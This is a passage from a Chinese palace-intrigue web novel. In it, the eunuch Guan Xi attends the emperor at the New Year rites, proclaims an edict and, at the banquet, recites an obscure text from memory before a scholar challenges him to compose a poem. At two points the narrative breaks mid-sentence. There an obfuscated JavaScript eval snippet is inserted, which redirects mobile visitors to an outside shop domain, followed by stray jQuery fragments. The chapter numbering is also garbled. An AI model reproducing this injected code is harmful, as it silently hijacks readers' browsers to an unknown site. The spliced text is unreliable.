寅时刚过,天色仍是浓稠的墨黑,乾元殿内外已灯火通明,人影幢幢。庄严肃穆的雅乐声隐隐从太庙方向传来,那是大典开始的序曲。 关禧早已穿戴整齐。是全套内官监掌印太监的正式朝服,绯红织金蟒纹云缎袍,外罩一件玄色缂丝过肩蟒罩甲,腰束金镶玉革带,悬挂着内官监银印和提督厂卫的铜符。乌纱帽端正戴好,两侧金色帽簪在烛火下流转着冷光。这一身行头华丽又沉重,压得他肩背发僵,却也衬得他面容愈发白皙冷峭,眉眼间的少年气被这身象征权柄的服饰吞噬殆尽,只余下一片沉静的威仪。 他站在寝殿外间的阴影里,垂眸静候。 殿内,萧衍正在宫人的服侍下,进行着更衣,盥洗,梳发等一系列繁复的典礼前准备。 今日,是皇帝祭告天地祖宗,接受百官万民朝贺的日子。按照常例,能紧随御驾参与核心仪程的,除了宗室亲王,勋贵重臣,便是司礼监,御马监等少数几个要害衙门的掌印太监,且各有固定职司站位。内缉事厂提督,一个刚刚设立数月,职能敏感的新衙门首领,本无资格,也无必要出现在那等场合。 但昨夜,孙得禄亲自来传的口谕,清晰无误:陛下有旨,元旦大典,关禧随驾。 随驾。不是像上次早朝那样,站在御座之侧一个突兀的位置。而是全程跟随在皇帝仪仗之中,参与从宫中出发,至太庙祭拜,再至奉天门接受朝贺等一系列最核心,最公开的典礼环节。 这意味着什么,关禧心知肚明。这是比上次早朝更加赤裸的宣告。皇帝要将“关禧”这个名字,将内缉事厂这个机构,彻底烙在百官乃至天下人的眼中,与皇权紧密捆绑,再无转圜余地。 也是将他,毫不留情地推向所有明枪暗箭的最前沿。 寅时三刻,萧衍从内殿走出。 他今日头戴十二旒冕冠,身着玄衣纁裳,十二章纹庄严繁复,腰佩大绶,脚踏赤舄。通身上下散发着凛然不可侵犯的天子威仪,与平日身着常服或朝服时截然不同。 萧衍的目光在关禧身上停留了一瞬,那双眸子里映着烛火,看不出情绪,只颔首。 “走吧。” “起驾——!”孙得禄尖细悠长的唱喏声穿透黎明前的黑暗。 庞大的仪仗启动。前导侍卫执戟开道,旌旗伞盖如林,各种礼器,卤簿依次排列,庄严肃穆的雅乐声愈发清晰宏亮。皇帝登上由三十六名太监抬着的玉辂,明黄色的华盖在晨曦微露的天色下,成为最醒目的标志。 关禧的位置,被安排在玉辂侧后方,一个极其贴近御驾,与几名随侍的司礼监大珰平行的位置。 这个位置本身,就是一种无声的宣言。 他目不斜视,步履沉稳地跟在玉辂之侧。袍服和佩饰随着步伐作响,腰间悬挂的印符贴着身体。 无数道目光从四面八方射来,就像实质的箭矢,钉在他的背上,脸上。惊骇揣测,忌惮怨毒……种种情绪在那些低垂的官帽和屏息的队列中流淌。 队伍穿过一道道宫门,朝着太庙方向行进。天色渐亮,东方露出鱼肚白,将巍峨宫殿的轮廓勾勒得清晰。 太庙祭祖,礼仪极其繁琐庄重。 皇帝需亲自焚香,奠帛,献爵,诵读祝文,每一步都有严格的规制和赞礼官引导。关禧作为随驾内臣,并无具体祭祀职司,只需在皇帝进行主要仪程时,于特定的位置肃立恭候。 他站在丹墀之下,文武百官之前,与司礼监掌印马正明,秉笔郑保等人相隔不远。能清晰地看到马正明那张保养得宜的脸,以及郑保眼底那抹深沉难测的光芒。他们二人,代表的是内廷旧有秩序的最顶端。而关禧的存在,在他们稳固的权柄版图上,硬生生楔入了一枚尖锐的钉子。 祭礼过程漫长。寒风凛冽,吹得旌旗猎猎作响,也吹透了厚重的礼服。关禧背脊挺得笔直,双手拢在袖中,指尖冰凉。他强迫自己将全部注意力集中在眼前的仪式上,忽略那些针扎般的目光和心底翻涌的寒意。 祭祀完毕,已近辰时。皇帝起驾,前往奉天门,接受在京文武百官,宗室勋贵,外国使臣的朝贺。 这是元旦大典最公开,最煊赫的部分。 奉天门外广场,早已黑压压跪满了按品级排列的官员。当皇帝仪仗出现在高高的城楼上时,山呼万岁之声如海啸般响起,震耳欲聋,在宫墙间回荡不休。 萧衍端坐于御座之上,接受朝拜。关禧站在他侧后方稍下的位置,这个角度,能让他将广场上那一片片低伏的脊背和城楼下几位重臣的神色尽收眼底。 首辅柳文正须发皆白,神色肃穆,叩拜时一丝不苟,起身后眼观鼻鼻观心,仿佛对御座旁多出的那个绯红身影毫无所觉。几位阁老表情各异,有的眉头微蹙,有的目光深沉。勋贵队列中,几位老将军倒是偷眼打量了关禧几下,眼神里更多的是审视和一种事不关己的漠然。 最值得玩味的是司礼监那几位大珰。马正明站在御座另一侧稍远的位置,负责传旨赞礼,脸上挂着无可挑剔的恭谨笑容,只有离得极近,才能察觉他眼角肌肉的细微抽动。郑保垂手立在稍后,目光低垂,像一尊没有喜怒的泥塑。 朝贺持续了近一个时辰。繁琐的礼节,一遍遍的山呼,让人精神疲惫,身体僵冷。关禧始终保持着高度的警觉,他不仅是这场盛大仪式的参与者,更是皇帝展示权力的一个活体道具,无数人眼中的焦点和靶子。 终于,繁琐的朝贺临近尾声。就在鸿胪寺官员即将宣布礼成之时,一直端坐御座,神色平淡的萧衍,忽然侧身,对侍立在侧后方的关禧低声说了一句什么。 声音很低,但在这个庄严肃穆,落针可闻的时刻,御座附近的人都能隐约听到。 关禧心头一跳,面上却丝毫不显,立刻躬身,应了一声:“是,奴才遵旨。” 随即,他在无数道骤然聚焦,惊疑不定的目光注视下,向前迈了一小步,走到御座前丹墀边缘,面对着下方广场上尚未完全起身,仍保持着躬身姿态的百官。 寒风呼啸,吹动他绯红蟒袍的下摆。他深吸一口气,压下喉头的干涩和心脏的狂跳,朗声道: “陛下口谕:今岁元旦,万象更新。朕膺天命,统御万方,赖祖宗庇佑,百官勤勉,海内初定。然治国之道,在于察奸剔弊,肃清纲纪。内缉事厂提督关禧,自领职以来,稽查宫闱,勤勉王事,朕心甚慰。望尔等臣工,皆以此为勉,各司其职,共保清廉。钦此。” 这道口谕,经由关禧之口,在奉天门城楼上,当着文武百官的面,宣之于众。 内容看似是寻常的嘉勉告诫,但选择在这个时间,这个地点,由关禧这个身份特殊的人来宣读,其意味不言自明。 这是皇帝对内缉事厂职能的公开背书。 这是对关禧本人地位和权力的再次加码。 这更是对旧有秩序,尤其是司礼监权威的一次公然敲打和挑衅。 广场上一片死寂。 连风声似乎都停滞了一瞬。 百官脸上的表情凝固了,许多官员下意识地抬头,看向城楼上那个绯红的身影,又飞快地垂下,不敢久视,心中是惊涛骇浪。 阉宦宣旨,本非绝无仅有,司礼监秉笔代皇帝批红,传旨亦是常事。但那是司礼监,是内廷运转百余年的核心衙门。而关禧,他代表的是刚刚成立,职能敏感,直刺各方利益的内缉事厂。 皇帝此举,简直是……简直是…… 柳文正面皮抽动了一下,闭上了眼睛。几位阁老交换着眼神,俱是面色沉重。勋贵队列中传来几声极低的冷哼。 司礼监众人,马正明脸上的笑容终于维持不住,瞬间褪去,化为一片铁青。郑保低垂的眼帘下,目光骤然变得锐利如刀,刺向关禧挺直的背影。 关禧宣读完口谕,后退一步,重新垂手肃立。 萧衍仿佛对下方凝固的气氛和汹涌的暗流毫无所觉,他端坐御座,目光平静地扫过广场,淡淡开口:“众卿平身。” 鸿胪寺官员如梦初醒,连忙高声唱和:“礼成——!百官谢恩——!” 山呼万岁之声再次响起,比先前多了几分掩饰不住的纷乱和滞涩。 礼成。 繁琐庄重的大朝贺终于结束。 文武百官按品级序列,有序地退离奉天门外广场。 萧衍在高高的御座上又静坐了片刻,目送着臣工如黑色的蚁群般散去,方才起身。十二旒冕冠上的玉藻碰撞,发出清脆的响声。 “移驾太和殿。” 元旦大典最劳神的环节已过,接下来的宫宴,虽仍是礼制的一部分,却多少有了些家宴与国宴交织的松弛空间,也是各方势力展示观察,较量的另一个舞台。 庞大的仪仗再次移动,转向内廷深处。关禧随侍在玉辂之侧,步伐沉稳,唯有拢在袖中的指尖,因为长时间的紧绷和寒冷,有些僵硬。刚才 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17192344|192226||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那一步迈出,那一句话宣读,彻底将他钉死在了皇权最醒目的锋刃之上。 穿过重重宫门,周遭的景色从外朝的恢弘肃穆,逐渐向内廷的精致华丽过渡。积雪被打扫得干干净净,露出湿润的青石路面和朱红宫墙。廊庑下悬挂的新制宫灯与彩绸在风中轻曳,为这庄严的宫殿增添了几分罕有的浮华喜气。 太和殿,正殿已被布置成元旦宫宴的场所。 虽不及保和殿用于最盛大典礼的规模,但其地位尊崇,在此设宴款待宗亲近臣,后宫主位及少数特许的重臣使节,更显亲近与恩宠。 尚未踏入殿门,一股混合着暖香,酒气,食物气息的暖流便扑面而来,与外间的清寒形成鲜明对比。殿内灯火通明,数十盏宫灯与数不清的烛台将每一个角落都照得亮如白昼。地面铺着厚厚的猩红波斯地毯,踩上去柔软无声。殿中设着数排紫檀木长案,按尊卑品级排列,上面已摆好了鎏金银器,官窑瓷器,琳琅满目。正中自然是皇帝的御案,设在丹墀之上,略高于下方诸席,铺着明黄绣龙锦缎。 已有不少人与内侍宫人在殿内走动,安排。见到御驾到来,所有人立刻停下动作,跪伏行礼。 萧衍下了玉辂,对孙得禄低声吩咐了几句,然后转向关禧,语气平淡:“你也入席。位置在那边。” 他抬手,指了一个方向。 那并非与司礼监大珰们同列,也非靠近宗室勋戚,而是在丹墀之下,靠近御座左前方,一个相对独立,又视野极佳的位置。旁边是几位年岁较轻,品级不算最高的宗室子弟和几位在京轮值的总兵,都督佥事等武官。这个安排,既显示了皇帝对他的特别眷顾,将他置于自己人和新晋势力的圈子,又微妙地将他与文官清流及内廷旧贵隔开,避免正面冲突。 关禧躬身:“奴才遵旨。”他依言走向那个位置,能感觉到无数道目光随着他的移动而移动。他目不斜视,步履从容,在那张属于自己的紫檀木小案后跪坐下来。案上陈设丝毫不逊于周遭宗室武臣,酒壶,酒杯,碗碟,筷箸皆是上品,甚至在他手边,还额外备了一方温热的湿巾和一小碟醒神的香茗。 这是御前近侍才有的待遇细节,此刻落在他这个外臣席上,其意味不言自明。 他微微垂眸,借此机会快速扫视殿内。 皇帝已升坐御案之后,正由宫女伺候着除去沉重的冕冠,换上稍轻便的翼善冠。孙得禄侍立一旁,眼观六路,耳听八方。 丹墀之下,左手边第一排,是几位亲王,郡王的席位。几位王爷神情倨傲中带着惯常的疏离,对殿中的暗流漠不关心,只低声交谈着围猎,养生之类的话题。年轻的郡王们则显得活跃些,目光不时瞥向皇帝和……他这边,带着好奇。 紧接着宗室席位的是几位阁老,六部尚书等文臣重镇。柳文正坐在最前,眼观鼻鼻观心,老僧入定,手中捻动着一串沉香木念珠。其余几位阁老神色各异,有人面带忧色,有人强作从容。吏部徐阶坐在其中,面色红润,与身旁同僚交谈时,中气十足,偶尔抬眼望向御座,眼神闪烁,不知在想些什么。 右手边第一排,则是以几位国公,侯爷为首的勋贵武臣。他们大多身材魁梧,声如洪钟,彼此交谈毫不避讳,话题离不开边关防务,军械马匹,偶尔发出爽朗的笑声,与文官那边的沉凝形成对比。他们对关禧这个新出现的太监显贵,打量目光更为直接,有审视,有不屑,也有几分“陛下既然用他,或许有可用之处”的务实考量。 再往后,则是品级稍低的官员,皇室远支,以及一些身着异域服饰的外邦使节。使节们正襟危坐,好奇地打量着这宏大精致的东方帝国宫廷盛宴,偶尔低声与通译交谈。 而最引人注目的,是御案右下侧,用一道精巧的百鸟朝凤紫檀木嵌玉石屏风略作隔断的区域。那里设着数张更为小巧精致的席案,此刻尚空无一人。那是为后宫主位们预留的位置。太后,皇后,妃嫔将在此处入席,既与皇帝同殿共庆,又保持了必要的内外之别。 关禧的目光在那屏风上停留了一瞬。屏风绣工极尽繁复,百鸟羽毛用各色丝线掺着金银线绣成,在灯光下流光溢彩,凤凰的眼睛是用小小的红宝石镶嵌,顾盼生辉。 殿内的喧嚣声渐渐低了下去,所有人都在等待。 约莫一盏茶后,殿外传来环佩叮咚与衣裙窸窣之声,伴随着太监悠长的通传: “太后娘娘驾到——!” “皇后娘娘驾到——!” 87.第 89 章 殿内所有人,包括皇帝,皆起身肃立。 只见太后郑书意率先步入殿中。她今日换了一身更为典雅柔和的绛紫色织金云凤纹常服,外罩一件玄色妆花缎出锋斗篷,乌发梳成端庄的凌云髻,戴着一套赤金点翠福寿绵长头面,正中一支凤衔珠步摇,明珠随着她的步伐摇曳,光华流转。她脸上敷着薄薄的脂粉,唇角含着一丝恰到好处的温煦笑意,眼眸明亮,扫过殿内众人时,那笑意仿佛能融化冰雪,却又在深处沉淀着不容错辨的威仪。她扶着贴身嬷嬷江氏的手,步履从容,径直走向屏风后最尊贵的那张席位。 紧随其后的是皇后柳心溪,身着正红色蹙金绣鸾鸟朝日吉服,头戴九龙四凤冠,珠翠环绕,仪态万方,每一步都走得极其标准,端庄得近乎刻板。她面容秀丽,却因常年紧绷显得缺乏生气,眼神淡漠,只有在经过皇帝御案前时,才会短暂地垂下眼帘,以示恭敬。她向太后微微屈膝,然后在自己位于太后下首的席位落座。 再往后,便是几位高阶妃嫔。 玉芙宫徐昭容徐宛白,无疑是此刻后宫妃嫔中最耀眼的存在,穿着一身娇艳的桃红色缕金百蝶穿花云锦宫装,因有孕在身,衣衫款式做了调整,勾勒出丰腴的身段。乌云般的发髻上插着皇帝新赏的赤金嵌宝鸾鸟簪,并几朵时新的宫花,耳垂上坠着明晃晃的东珠耳珰。她面若银盘,眼似秋水,一手被宫女小心翼翼地搀扶着,另一只手似有意无意地轻抚着自己的小腹,目光流转间,掠过皇后平静的脸,掠过其他嫔妃,最后落在御座上的皇帝身上时,瞬间盈满了似水的柔情。她在皇后下首的第一个位置坐下,动作略显张扬。 接着是承华宫冯昭仪冯媛,穿着一身素雅而不失华贵的月白色暗纹梅花襦裙,外罩一件浅碧色缠枝莲纹刺绣比甲,发髻梳成简洁的惊鸿髻,只簪了一支羊脂白玉簪并两朵小巧的珍珠珠花。她眉目清丽,气质温婉,入殿后先向太后,皇后行礼,姿态恭谨柔顺,随后向皇帝方向微微一福,这才在自己的席位。徐昭容对面,略靠后的位置,安然落座。整个过程如行云流水,既不刻意突出,也绝无半分失仪,仿佛一株静置于喧闹宴席边的空谷幽兰。 关禧的目光在冯媛身上停留的时间,比在徐昭容身上更久一些。他能看到她眼下极淡的青色,以及那温婉眉眼间,一丝难以察觉的疲惫。 她也看到了他,视线相接的刹那,冯媛眼中似乎有极微弱的什么情绪闪了一下,快得无法捕捉,随即她便垂下眼帘,专注于整理自己的衣袖。 而楚玉,作为冯昭仪的贴身掌事宫女,今日并未随侍在侧。按宫规,这等等级的内宴,唯有各宫主位有资格入席,贴身宫女太监们需在殿外特定区域候命,随时听传。关禧心中那点微弱的期待落了空,随即又觉得理应如此。楚玉此刻,或许正站在某个他能看见或看不见的廊柱阴影下,守候着她的娘娘。 太后,皇后及众妃落座后,殿内气氛为之一变。 先前属于前朝的凝重,融入了后宫的胭脂香气。 萧衍这才抬手,示意众人归座。 乐起。 编钟清越,丝竹悠扬,一队身着彩衣的舞姬翩然而入,在殿中铺开的地毯上起舞。舞姿曼妙,水袖翻飞,演绎着祥瑞升平之意。宫女太监们开始如流水般穿梭上菜,各种珍馐美味盛放在精美的器皿中,香气四溢。 宴饮正式开始。起初,气氛尚算和谐。宗室王公们向皇帝太后敬酒,说着吉祥话,勋贵武臣们豪饮谈笑,文臣们则相对斯文,彼此唱和诗句,应景贺岁,外邦使节则新奇地品尝着中原美食,偶尔发出赞叹。 关禧的位置注定了他无法真正融入任何一方。他端坐着,小口啜饮着杯中御酒,酒液醇厚,滑入喉中却带着辛辣。他需要保持警惕,观察着所有人的动静,尤其是司礼监那边。 马正明和郑保坐在文官队列靠前的位置,两人正低声交谈着什么,马正明脸上挂着与场合相称的笑容,郑保则频频举杯,与几位阁老,尚书对饮,姿态谦恭圆滑。 酒过三巡,气氛愈加热烈,也渐渐有些脱离了最初的拘谨。 就在这时,吏部左侍郎徐阶,徐昭容的父亲,忽然站起身,手持酒杯,面向御座,声音洪亮:“陛下!今日元旦佳期,万象更新,臣谨以此杯,恭祝陛下龙体康泰,祝我大晟国运昌隆,江山永固!”说罢,一饮而尽。 萧衍颔首,举杯示意。 徐阶话锋一转,笑容满面地继续道:“更可喜者,后宫有孕,皇家子嗣绵延,此乃天佑我大晟,陛下洪福齐天!臣等为陛下贺,为徐昭容娘娘贺!”他特意点出了自己的女儿,目光投向屏风后的徐宛白,父女二人视线交汇,俱是满面红光。 这话引得不少官员附和,纷纷举杯向皇帝和徐昭容方向敬贺。徐宛白在屏风后娇羞地以袖掩口,眼波流转,满是得意。 然而,这番举动也令一些人暗自皱眉。尤其是皇后一系的清流官员,以及几位老成持重的阁老,脸上笑意淡了些。柳心溪端庄地坐着,握着酒杯的手指,收紧了些。 萧衍脸上笑容不变,淡淡道:“徐卿有心了。”目光却不易察觉地扫过柳心溪平静的侧脸,又掠过冯媛低垂的眼帘。 徐阶志得意满地坐下。紧接着,又有几位官员起身敬酒,多是附和徐阶,盛赞皇帝英明,后宫有喜乃祥瑞之兆云云。宴席间的风向,隐隐有向玉芙宫倾斜之势。 坐在关禧不远处的一位年轻亲王,齐王萧锐,先帝幼子,今上异母弟,素来以纨绔率直闻名,嗤笑一声,声音不大,却足以让邻近几桌听见:“嘁,这酒吃得忒没意思,尽听些车轱辘话。我说诸位大人,这菜也吃了,酒也喝了,歌舞也看了,不如来点新鲜的助助兴?” 他这话一出,顿时吸引了不少目光。 萧衍看向他,眼中闪过一丝不易察觉的冷意,面上却带着兄长的温和:“哦?齐王有何高见?” 萧锐笑嘻嘻地拱手:“皇兄,臣弟哪有什么高见。只是想着,今日盛宴,文武齐聚,又有外邦友人在座,光是吃酒看舞,未免单调。不如……行个酒令?或者,寻个彩头,让大伙儿都乐一乐?” 这话看似荒唐,却微妙地打破了方才徐阶等人刻意营造围绕玉芙宫有孕的单一庆贺氛围,将众人的注意力拉回到了宴席本身。 立刻有几位年轻的宗室子弟和武官附和: “齐王殿下说得是!” “是该热闹些!” 文官那边则多是皱眉,觉得此议有失体统。徐阶脸色也沉了沉。 萧衍目光扫过殿中,沉吟片刻,忽然一笑:“也罢,今日佳节,难得齐聚。便依齐王所言,添些彩头助兴。”他顿了顿,“只是寻常酒令无趣。这样吧,今日宴上,无论文武,无论尊卑,皆可出一题,或文或武,或巧或力,能博得满堂彩者,朕重重有赏。” 皇帝金口一开,殿内气氛顿时又变。这不再仅仅是礼仪性的宴饮,而带上了竞技与恩赏的色彩,同时也给了各方一个展示或试探的机会。 立刻有人摩拳擦掌,有人暗自盘算。 最先站出来的是武官队列中的一位都督佥事,姓赵,以臂力著称。他命人搬来一对沉重的石锁,当殿舞动,虎虎生风,赢得一片喝彩,尤其是勋贵武臣那边,叫好声震天。皇帝颔首,赏了一对金锭。 接着,一位以书法闻名的翰林学士起身,即席挥毫,写下“海晏河清”四个雄浑大字,笔力千钧,文官们纷纷赞叹。也得了一份厚赏。 气氛逐渐活跃起来,陆续又有几人献艺,或射箭,或弈棋,或奏一曲琵琶,各有千秋。 萧锐看得津津有味,目光一转,落在了关禧身上,嘴角勾起一抹玩味的笑意,扬声道:“关提督!” 这一声,让原本有些嘈杂的殿内瞬间安静了不少。许多道目光齐刷刷地投向那个绯红色的身影。 关禧心头一凛,放下酒杯,起身,向齐王方向躬身:“王爷。” 萧锐晃着酒杯,笑眯眯地看着他:“关提督如今是陛下跟前的红人,提督着内缉事厂,想必是文武双全,有过人之处。今日盛宴,关提督不露一手,让我等开开眼界?” 这话看似邀请,实则刁难。一个太监,在文武百官,宗亲使节面前露一手?露什么?伺候人的本事?还是……那些上不得台面的阴私手段?无论哪种,都是羞辱,且将他置于两难境地:不露,是怯懦无能,落了皇帝和厂卫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17195819|192226||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的面子,露,无论做什么,都可能成为笑柄,进一步坐实阉宦不堪的污名。 殿内鸦雀无声。所有人都看着关禧,看他如何应对。徐阶等人眼中闪过看好戏的神色。司礼监马正明和郑保,一个垂眸不语,一个端起酒杯,掩饰嘴角的冷意。冯媛在屏风后,指尖捻着袖口的一粒珍珠,眼神平静,唯有长睫几不可察地颤动了一下。 连御座上的萧衍,也暂时没有出声,在等待关禧的反应。 压力如山。 关禧站在席前,能感觉到无数目光如针般刺在身上,他抬眼,迎向萧锐看似醉意朦胧实则锐利的目光,声音平稳,不高不低,恰好能让殿中大多数人听清: “王爷说笑了。奴才微末之躯,蒙陛下不弃,得以执掌厂卫,唯知尽心王事,稽查不法,以报天恩。些许微末伎俩,不过是伺候笔墨、整理文书的本分,实在不值一提,更不敢在诸位大人、王爷面前献丑,扰了陛下与各位贵人的雅兴。” 他先自贬,将自身定位在伺候笔墨,整理文书的本分上,巧妙地避开了文武才艺的陷阱,又将尽心王事摆在前面,强调了皇帝赋予的职责正当性。 姿态放得极低,却绵里藏针。 萧锐不依不饶,笑容更盛:“关提督过谦了!谁不知道关提督记性超群,心思缜密,连工部陈年账目都了然于胸?这难道不是大才?不如这样,今日咱们不比蛮力,不较诗文,就考校一下关提督这过目不忘的本事,如何?” 他转向御座,“皇兄,您说呢?这也算个雅趣,又不伤和气。” 萧衍看了萧锐一眼,目光深幽,旋即微微一笑:“倒也有趣。关禧,齐王既有此雅兴,你便试试。不必紧张,权当游戏。” 皇帝发话,便再无可推脱。 关禧躬身:“奴才遵旨。” 萧锐抚掌笑道:“好!爽快!”他环视殿内,“诸位,谁出个题目?要难些的,可别小看了咱们关提督!” 殿内一时无人应声。这题目不好出。出得太难,显得刻意刁难,有失风度,出得太易,又达不到刁难或看笑话的目的。且无论出什么题,都难免有与齐王同流合污,针对皇帝新贵之嫌。 片刻,倒是文官队列中,一位一直沉默寡言的老者,国子监祭酒,冯媛的父亲冯远道,站起身,他须发皆白,面容清癯,一派儒雅之气。 “陛下,王爷。”冯远道向御座和齐王分别拱手,声音平和,“老臣倒有一题,或许可作一试。” 众人目光聚焦于他。冯祭酒素来清正,不涉党争,此刻出面,倒显得公允。 “冯先生请讲。”萧衍道。 冯远道捋了捋长须,缓缓道:“老臣近日整理旧籍,偶见前朝《地理志》中有一段关于西域诸国风物、道里、贡赋的记载,文辞古奥,数据繁琐,共计三百二十七字。老臣可当场命人笔录此段文字,请关提督观览一盏茶的时间,然后撤去文本,请关提督复述。若能复述大意无误,关键数目无差,便算通过。如何?” 此题出得巧妙。考校记忆,正是关禧特长,看似给了机会,但内容冷僻古奥,数据繁多,时间短暂,难度其实极大。且由冯远道这位清流领袖,冯昭仪之父提出,既堵了齐王继续胡闹之口,又将考验控制在一个相对文雅的范围内,无论成与不成,都留有余地。 萧锐挑了挑眉,不置可否。 萧衍点头:“可。便依冯先生所言。” 立刻有太监备好纸笔。冯远道闭目沉吟片刻,开口背诵一段佶屈聱牙的古文,旁边书记太监飞速记录。内容果然涉及众多西域小国名称,距离里程,特产贡品,人口户数等杂乱信息。 写罢,书记太监双手捧着那张墨迹淋漓的纸呈到关禧面前。 殿内再次安静下来,所有人的目光都集中在那张纸和关禧脸上。烛火通明,映得他脸色愈发白皙,甚至有些透明。他双手接过纸张,目光落在字句之上。 一盏茶的时间,很快。 关禧的视线平稳地移动,眉心微蹙,随即舒展。 殿内只有更漏滴滴答答,以及远处隐约的乐声。 时间到。 书记太监上前,取回纸张。 88.第 90 章 “关提督,请。”冯远道温声道。 关禧向御座方向微一躬身,然后转向殿中众人,开始复述。声音起初平稳,逐渐流畅: “《前朝地理志·西域补遗》载:自玉门西出,首至鄯善,去长安六千一百里,户千五百七十,口四千余,地产玉石、蒲陶……其西有且末,距鄯善七百二十里,户二百三十,口千余,贡硇砂、赤盐。再西行,经精绝、戎卢、渠勒……至扜弥,距且末三千三百里,户三千三百四十,口两万余,有金矿,岁贡麖金五十两……” 他一字一句,将那段古奥文字的内容清晰道出。不仅大意完整,连那些繁琐的国名,里程,户数,口数,特产,贡赋数目,都复述得毫厘不差,甚至一些原文中拗口的连接词和虚字,都未曾遗漏或更改。 起初,殿中还有人带着怀疑或看好戏的心态倾听,但随着关禧流畅准确的复述,那些表情逐渐变成了惊愕,难以置信。文官们尤其震动,他们深知这段文字的艰涩与信息之琐碎,即便事先读过,要如此精准复述也绝非易事,更何况是这仓促之间的短暂记忆。 屏风之后,冯媛一直垂着的眼帘抬起,望着殿中那个侃侃而谈的绯红身影,袖中的手指松开。徐昭容则撇了撇嘴,有些不屑,又有些不安。 当关禧复述完最后一个字,殿内陷入一片寂静。 落针可闻。 旋即,冯远道第一个抚掌赞叹:“一字不差!关键数据,分毫无误!关提督好记性!老臣佩服!”他转向御座,由衷道,“陛下得此良才,实乃朝廷之福!” 他这一赞,顿时打破了寂静。许多文官纷纷附和,惊叹不已。连一些武官也啧啧称奇。外邦使节更是睁大了眼睛,交头接耳,通译低声飞快地解释着,他们脸上也露出不可思议的神色。 萧衍脸上露出了今日宴席以来最真切的一丝笑容,他看向关禧,眼中带着明确的嘉许:“果然未曾让朕失望。赏!” 立刻有太监端上赏赐,是一套文房四宝,皆是内府珍品,价值不菲。 关禧谢恩领赏,重新归座。 正当殿内气氛因关禧出色的表现而转向赞叹,丝竹声渐起,要将方才那场考校带来的微妙紧绷轻轻揭过时。 一道清朗的声音,自文官席列中段响起: “关公公过目不忘,博闻强识,着实令人惊叹。不过,今日元旦盛宴,万象更新,如此才情,若只用于复述故纸陈篇,未免……可惜了。” 众人循声望去,只见新科状元,翰林院修撰桑连云自席间起身。他不过二十出头年纪,身着青色官袍,身姿挺拔如修竹,面容清俊,眉宇间带着读书人特有的矜持,只是此刻,他嘴角虽噙着礼节性的笑意,眼底却无半分温度,目光如淬了冰的针,直直刺向御座左前方那抹绯红。 殿内倏然一静。许多人心头咯噔一下。 桑连云,永昌五年殿试头名,名副其实的状元郎。文章锦绣,才名远播,更难得的是生了一副好相貌,风仪出众,殿试传胪之日,便引得京城瞩目。据说陛下阅卷后曾特意召见,言语间颇为欣赏,甚至……有过某些暗示。奈何此子心高气傲,自恃才学,又以清流自许,竟坚决推拒了那常人求之不得的殊荣,只愿以文章报效朝廷。此事虽未张扬,但在消息灵通的宫闱与朝堂,早已不是秘密。 自那以后,这位本该前程似锦的状元郎,便似被遗忘了一般,稳稳坐在翰林院修撰的位置上,再无寸进。往日灼热的目光渐渐冷却,取而代之的是各种复杂的审视与隐隐的排挤。今日宫宴,他能列席在此,凭的是新科状元这块招牌,而非实际权位。 此刻他忽然发难,目标直指风头正劲的关禧,其中滋味,耐人寻味。是出于文人对阉宦弄权的本能鄙夷?是因昔日被皇帝青眼却未能把握,如今见关禧这般出身卑微的太监反而简在帝心而生出的嫉恨?还是单纯觉得方才冯祭酒那场考校太文雅,未能让这阉人出够丑? 关禧抬起眼,迎上桑连云的目光。 他记得这个人。 萧衍原本松弛靠在御座上的身体前倾,指尖在光滑的扶手上一点,目光在桑连云的脸上停留了一瞬,眸色微深,随即又恢复平淡。 桑连云见吸引了全殿注意,尤其是御座上的目光,精神微振,继续道:“方才齐王殿下所言极是,盛宴当有雅趣。冯祭酒考校记诵,乃是博学之基。然我辈文人,逢此佳节,感念天恩,沐浴清化,岂能无诗?诗以言志,歌以咏怀。关公公既得陛下信重,总揽……稽查之权,”他略过了“内缉事厂”这个敏感词,语气更显讥诮,“想必胸中亦有丘壑,绝非寻常庸碌之辈可比。不知关公公可愿即景赋诗一首,让我等领略一番,陛下身边近臣的风采?也让我等见识见识,除了记诵案牍,关公公是否亦有锦心绣口?” 图穷匕见。 记诵古书,还可归结于天赋异禀或下过苦功。但即景赋诗,需才思,学识,情怀,文采缺一不可,是真正检验文人底蕴的试金石。在桑连云乃至绝大多数朝臣看来,关禧一个太监,即便认得几个字,能理清文书,于诗词一道,必然粗陋不堪。让他当场作诗,简直是逼着公鸡下蛋,其心可诛。 殿内气氛陡然变得诡异起来。文官队列中,有人面露不忍,觉得桑连云此举过于刻薄,有失风度,有人则眼含期待,等着看这嚣张阉奴如何出丑,徐阶等人嘴角已忍不住上扬。勋贵武臣那边则大多觉得无趣,这状元郎书生意气,不知死活。 关禧心中一片冷然。果然来了。桑连云这是憋着劲儿要把他踩进泥里,以泄私愤,或许还想借此在皇帝面前重新彰显他文人的风骨。 诗词?他确实不会做。但他脑子里装着的,是中华文明千年积淀的瑰宝,是另一个时空无数天才心血的结晶。从前低调,是不愿惹眼,也是没到必要时刻。如今,桑连云把脸凑上来求打,皇帝在座上看着,百官在底下盯着,他若再退,丢的不仅是自己的脸,更是皇帝和内缉事厂的威严。 既然如此…… 他站起身,绯红蟒袍在通明烛火下流淌着暗沉的光泽。 “桑状元。奴才微末之身,岂敢在状元公面前妄谈诗词?状元公锦绣文章,天下皆知,奴才不过略识之无,岂能相比?” 